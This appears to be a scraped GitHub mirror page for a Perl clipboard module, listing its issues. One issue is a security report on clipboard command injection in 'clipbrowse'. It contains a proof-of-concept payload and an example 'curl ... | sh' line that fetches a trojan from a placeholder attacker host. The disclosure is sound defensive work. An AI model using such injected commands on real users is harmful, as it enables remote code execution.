GithubHelp home page GithubHelp logo

shlomif / clipboard Goto Github PK

View Code? Open in Web Editor NEW

This project forked from gitpan/clipboard

6.0 6.0 3.0 89 KB

Perl / CPAN extension for copying/pasting to the system's Clipboard (X.org / Windows / Mac)

Home Page: http://metacpan.org/release/Clipboard

License: Other

Perl 93.63% Shell 6.37%

clipboard's Introduction

Hi there and Shalom!

I am a 5 May 1977-born Tel Aviv-based Israeli software developer and Internet writer, entertainer / educator / amateur philosopher. Shlomi Fish is my real and legal name, but I am also known as "Rindolf".

You can learn more about me from:

I have a page with contact info.

I consider myself a Hacker Monarch, which is what I call "a messiah", a world savior, keeper of the faith, etc. and recommend every man and woman, of any age, to follow suit. "I am my brothers' keeper.".

My mission is described in:

It replaces my 2021 short-term objective which was:

clipboard's People

Contributors

freed-wu avatar rkitover avatar shlomif avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

Forkers

lbe fschlich

clipboard's Issues

Missing dep Mac::Pasteboard prereq on darwin

nyx$ ./Build test
t/drivers.t .. Can't locate Mac/Pasteboard.pm in @INC (@INC contains: lib ./t/lib /Users/gollis/.cpanm/work/1550621676.58371/Clipboard-0.19/blib/lib /Users/gollis/.cpanm/work/1550621676.58371/Clipboard-0.19/blib/arch /Users/gollis/.plenv/versions/5.14.2/lib/perl5/site_perl/5.14.2/darwin-thread-multi-2level /Users/gollis/.plenv/versions/5.14.2/lib/perl5/site_perl/5.14.2 /Users/gollis/.plenv/versions/5.14.2/lib/perl5/5.14.2/darwin-thread-multi-2level /Users/gollis/.plenv/versions/5.14.2/lib/perl5/5.14.2 .) at lib/Clipboard/MacPasteboard.pm line 6.
BEGIN failed--compilation aborted at lib/Clipboard/MacPasteboard.pm line 6.
Compilation failed in require at lib/Clipboard.pm line 39.
BEGIN failed--compilation aborted at t/lib/Test/Clipboard.pm line 6.
Compilation failed in require at t/drivers.t line 5.
BEGIN failed--compilation aborted at t/drivers.t line 5.
t/drivers.t .. skipped: (no reason given)
t/mock.t ..... Can't locate Mac/Pasteboard.pm in @INC (@INC contains: lib ./t/lib /Users/gollis/.cpanm/work/1550621676.58371/Clipboard-0.19/blib/lib /Users/gollis/.cpanm/work/1550621676.58371/Clipboard-0.19/blib/arch /Users/gollis/.plenv/versions/5.14.2/lib/perl5/site_perl/5.14.2/darwin-thread-multi-2level /Users/gollis/.plenv/versions/5.14.2/lib/perl5/site_perl/5.14.2 /Users/gollis/.plenv/versions/5.14.2/lib/perl5/5.14.2/darwin-thread-multi-2level /Users/gollis/.plenv/versions/5.14.2/lib/perl5/5.14.2 .) at lib/Clipboard/MacPasteboard.pm line 6.
BEGIN failed--compilation aborted at lib/Clipboard/MacPasteboard.pm line 6.
Compilation failed in require at lib/Clipboard.pm line 39.
BEGIN failed--compilation aborted at t/lib/Test/Clipboard.pm line 6.
Compilation failed in require at t/mock.t line 5.
BEGIN failed--compilation aborted at t/mock.t line 5.
t/mock.t ..... skipped: (no reason given)

Test Summary Report
-------------------
t/drivers.t (Wstat: 512 Tests: 0 Failed: 0)
  Non-zero exit status: 2
t/mock.t   (Wstat: 512 Tests: 0 Failed: 0)
  Non-zero exit status: 2
Files=2, Tests=0,  0 wallclock secs ( 0.01 usr  0.01 sys +  0.09 cusr  0.02 csys =  0.13 CPU)
Result: FAIL
Failed 2/2 test programs. 0/0 subtests failed.

tests passed and installed after manually installing Mac::Pasteboard.

Clipboard 0.20 and earlier broken on Macos Catalina

Clipboard depends on Mac::Pasteboard for copy/paste functionality on Macos. As of Macos Catalina, Clipboard versions 0.20 and earlier will use any version of Mac::Pasteboard. Mac::Pasteboard versions earlier than 0.011 will not work on Macos Catalina. v0.011 is the fist to support Macos Catalina.

I have submitted Pull Request #2 with the only change of setting a minimum version for Mac::Pasteboard.

clipbrowse command execution with multi-line clipboard text including | sh

Running 'clipbrowse' with the following clipboard contents:

https://www.example.com
echo echo p0wned | sh

results in the browser opening the requested URL in the foreground, while simultaneous running the specified command in the background.
Testen on Debian 12, Perl 5.36.0-7+deb12u1, libclipboard-perl 0.27-1
This example might just print 'p0wned', but because you are copying this piece of text using a browser that understands JavaScript, and JavaScript can modify the clipboard contents, I could just as well have you execute "curl https://evilhacker.example.com/install_trojan.sh | sh" by changing the clipboard contents.

This can be abused by just including the 'clipbrowse' command as an instruction in an online tutorial, while having modified the users clipboard contents using JavaScript.

I was redirected to here from https://rt.cpan.org/Public/Bug/Report.html?Queue=Clipboard
If this is not the correct place to report/post this, please tell me.

Thank you for your time and attention.

[feature] support more clipper: xsel, ...

See https://github.com/neovim/neovim/blob/db407010facc55c19b5ebdf881225ac39cb29d01/runtime/autoload/provider/clipboard.vim#L69-L158

xclip is not the only clipper in linux. It should be not a depend but an optdepend. TIA!

❯ pacman -Qi perl-clipboard
Name            : perl-clipboard
Version         : 0.28-1
Description     : Perl clipboard module
Architecture    : any
URL             : https://metacpan.org/release/Clipboard
Licenses        : PerlArtistic  GPL
Groups          : None
Provides        : None
Depends On      : perl-cgi  perl-uri  xclip
Optional Deps   : None
Required By     : perl-app-nopaste
Optional For    : None

Unable to use clipboard on WSL2

So I installed kpcli on WSL Ubuntu and I am not able to use copy to clipboard.

kpcli:/keepass/Private/Devices/Routers> xp My_entry Error: Can't open display: (null) Error closing ` |xclip -i -selection primary`: at /usr/share/perl5/Clipboard/Xclip.pm line 29.

Apparently this is happening because kpcli fails to transfer the password into windows clipboard.
Since it is possible to use windows programs from within WSL perhaps you could add something like

xp My_entry | clip.exe

'Wide character in print' in Linux

When using this module in Linux, copying UTF-8 strings results in a warning: Wide character in print...
This can be fixed by adding a binmode command after the open in copy_to_selection.

sub copy_to_selection {
    my $self = shift;
    my ($selection, $input) = @_;
    my $cmd = '|xclip -i -selection '. $selection;
    my $r = open my $exe, $cmd or die "Couldn't run `$cmd`: $!\n";
    binmode $exe, ':encoding(UTF-8)';
    print $exe $input;
    close $exe or die "Error closing `$cmd`: $!";

    return;
}

macOS fails to copy utf8

my $data = Clipboard->paste;

fails to copy from Pasteboard characters such as üäà etc. Tested on Mojave.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.